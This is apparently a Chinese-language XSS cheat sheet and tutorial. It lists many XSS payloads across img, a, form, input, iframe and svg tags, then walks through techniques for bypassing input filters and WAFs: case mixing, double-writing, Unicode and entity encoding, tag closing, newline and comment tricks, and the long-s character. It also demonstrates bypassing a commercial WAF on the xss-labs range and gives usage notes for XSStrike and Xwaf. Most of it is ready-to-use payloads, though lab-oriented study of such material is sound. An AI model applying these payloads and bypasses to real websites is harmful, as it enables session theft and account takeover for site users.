一、常用payload

1、echo

<?php
echo "<script>alert(1)</script>";
?>

2、img标签

<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" onerror=eval("alert('xss')")>
<img src=x onmouseover=alert('xss')>

3、CSS

<img STYLE="background-image:url(javascript:alert('XSS'))">

4、href

标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

5、form标签

XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss')>

6、input标签

标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>

7、iframe标签

XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

8、svg标签

<svg onload=alert(1)>

9、其他

  • 事件型还有onbody标签

二、常用的绕过Waf

1、利用大小写绕过

  这个绕过方式的出现是因为网站仅仅只过滤了<script>标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样: <sCriPt>alert(1)</SCripT>

2、利用过滤后返回语句再次构成攻击语句来绕过(经常用双写绕过)

  有的只过滤了一次script标签,因此可以使用双写来绕过<sCri<script>Pt>alert(1)</SC</script>ripT>

3、并不是只有script标签才可以插入代码

(1)img标签

  <img src="x" onerror="alert(1)">就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。

(2)onmouseover事件

  • onmouseover="alert(1)",比如
    • <a onmousemove="do something here"> 当用户鼠标移动时即可运行代码
    • <div onmouseover="do something here"> 当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)

(3)onclick事件

  onclick="alert(1)" 这个要点击后才能运行代码,条件相对苛刻,就不再详述。

(4)onload事件

  比如以下代码

function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/ //http...或https....
if (domainRe.test(input)) { //是否包含在input中
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

  payload:http://www.segmentfault.com" onload="alert(1)

4、编码脚本绕过关键字过滤

(1)Javascript的编码–eval()函数

  \uXXXX 这种写法的Unicode 转义序列,表示一个字符,其中 XXXX 表示一个 16 进制数字,如<的Unicode 编码为\u003c。

  有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。

  例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1)(对应于ASCII码的十六进制)

  所以构建出来的攻击语句如下:<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

(2)HTML实体编码

  实体编码字符<svg>(翻译官)

  把要转码的先Unicode转换一下,然后后台看到有翻译官会把Unincode编码转回为当初的字符

  比如以下代码

function render (input) {
const stripBracketsRe = /[()`]/g //正则表达式,看//包裹的内容即可
input = input.replace(stripBracketsRe, '') 把()`替换为空
return input
}

  payload:<svg><script>alert(1)</script> 因为控制字符()变成了实体编码因此要使用翻译官才能让()正确发挥控制字符的作用

(3)翻译官(Unicode编码)

function render (input) {
input = input.toUpperCase() //把所有的输出内容都大写
return `<h1>${input}</h1>`
}

  payload:<img src="" onerror="alert(1)"> 👈HTML编码或者<svg><img src="" onerror="alert(1)">👈Unicode编码

5、主动闭合标签实现注入代码

  比如以下代码

function render (input) {
return '<input type="name" value="' + input + '">'
}

  payload:"><script>alert(1)</script><input type='name' value=" 或者 "><script>alert(1)</script>

6、绕过小括号()

  在前端中,反引号```可以当作小括号来使用

  比如以下代码

function render (input) {
const stripBracketsRe = /[()]/g //正则表达式,看//中间的内容即可
input = input.replace(stripBracketsRe, '') //把[()]替换为空
return input
}

  payload:<script>alert1</script>

7、绕过()`

(1)使用HTML实体编码

如上文所述

8、绕过HTML注释符

  • 有两种注释方法:
    • <!-- 注释内容 -->
    • ``<!– 注释内容 –!>`

比如以下代码

function render (input) {
input = input.replace(/-->/g, '😂') //将-->替换为笑脸
return '<!-- ' + input + ' -->'
}

payload:--!><script>alert(1)</script><!--,使用另一个注释符来畸形进行绕过

9、利用换行符绕过

  %0a–换行符

  比如以下代码

function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_') //auto或on开头,后面跟任意东西,直到出现=或者>都转化成_
return `<input value=1 ${input} type="text">`
}

  payload:

onmouseover
="alert(1)"

在前端的世界里,换行一样有用,因此这里通过换行来避免on碰到=

10、绕过右标签

function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '') //所有标签类的,只让写左标签,右标签一加,就替换为空
return `<article>${input}</article>`
}

  匹配</ 任意字符>,而且/i过滤了大小写,但html的单标签也可以解析

  payload:<img src=x onerror="alert(1)"

11、绕过</内容>

function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') //碰到</style>就替换成/*坏人*/
return `
<style>
${src}
</style>
`
}

(1)使用换行

</style
>
<script>alert(1)</script>
<style>

(2)使用空格

</style ><script>alert(1)</script><style>

12、引用指定网站下的目录文件

function render (input) {
input = input.toUpperCase() //把所有的输出内容都大写
return `<h1>${input}</h1>`
}

  js标签,src的地址,随便,但是js的语法是大小写敏感的

  开启phpstudy,在目录下创建一个ABC.JS,写上一条alert(1);语句,保存

  payload:<script src="http://127.0.0.1/ABC.JS"></script>

13、使用JS的注释符

(1)注释符–>

  --> js的注释符,让后面的语句不生效

function render (input) {
input = input.replace(/[</"']/g, '') //过滤了< / " '
return `
<script>
// alert('${input}') 注释只能注释掉这一行
</script>
`
}
xx
alert(1)
--> js的注释符,让后面的语句不生效

(2)注释符//

// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

  payload:");alert(1)//

  通过源码发现一些字符被转义了,就连换行符也被转义了。但是发现竟然还可以用,原因是//虽然被转义成了//,但转义之后还是//,在js中还是注释符(勿与正则混淆)

14、使用古英语

function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1') <碰到字母就变成<_
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

  使用维基百科搜索s,会发现长s,古英语的s

  举一反三,碰到其他字母是否也可以用古英语

  payload:

<ſcript src='http://127.0.0.1/ABC.JS'></script>

15、使用伪协议

<a href="javascript:alert(1)">

三、Waf防护与绕过演示

  就使用xss-labs这个靶场的第一关和某狗作为演示

img

分析拦截情况

  1. 通过去除关键词或关键词的其中某些字母判断拦截了什么关键词,如下正常

img

  1. 而如下就不正常了

img

  1. 如下正常。说明是匹配了<script>标签

img

  1. 尝试大小写绕过不行后,利用XSS平台,发现后面</h2>>把前面的给包起来了,导致访问的链接拼接了</h2

img

  1. 使用引号包裹链接即可

img

  1. 使用超链接也可以,但是<a href=xxx>猜测也就会检测href,而事实也确实如此,只需要在href前加/即可绕过,也不影响语义,而之所以加/能绕过,是因为在前端中/经常出现在闭合的后标签,加上后就会让waf误以为是结束标签

img

四、常规Waf绕过思路

[+] 标签语法替换
[+] 特殊符号干扰 比如 / #
[+] 提交方式更改 Request的前提下,Waf只检查URL内容而不检查POST内容
[+] 垃圾数据溢出
[+] 加密解密算法
[+] 结合其他漏洞绕过

五、XSS自动化工具

1、Xwaf

  下载链接:https://github.com/3xp10it/xwaf

  现在作者貌似不再维护该项目了

2、XSStrike

  下载链接:https://github.com/s0md3v/XSStrike

XSStrike 主要特点:
[+] 反射和 DOM XSS 扫描
[+] 多线程爬虫
[+] Context 分析
[+] 可配置的核心
[+] 检测和规避 WAF
[+] 老旧的 JS 库扫描
[+] 智能 payload 生成器
[+] 手工制作的 HTML & JavaScript 解析器
[+] 强大的 fuzzing 引擎
[+] 盲打 XSS 支持
[+] 高效的工作流
[+] 完整的 HTTP 支持
[+] Bruteforce payloads 支持
[+] Payload 编码

  相关参数

-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟

六、Fuzzing测试

七、XSS(带过滤)靶场实战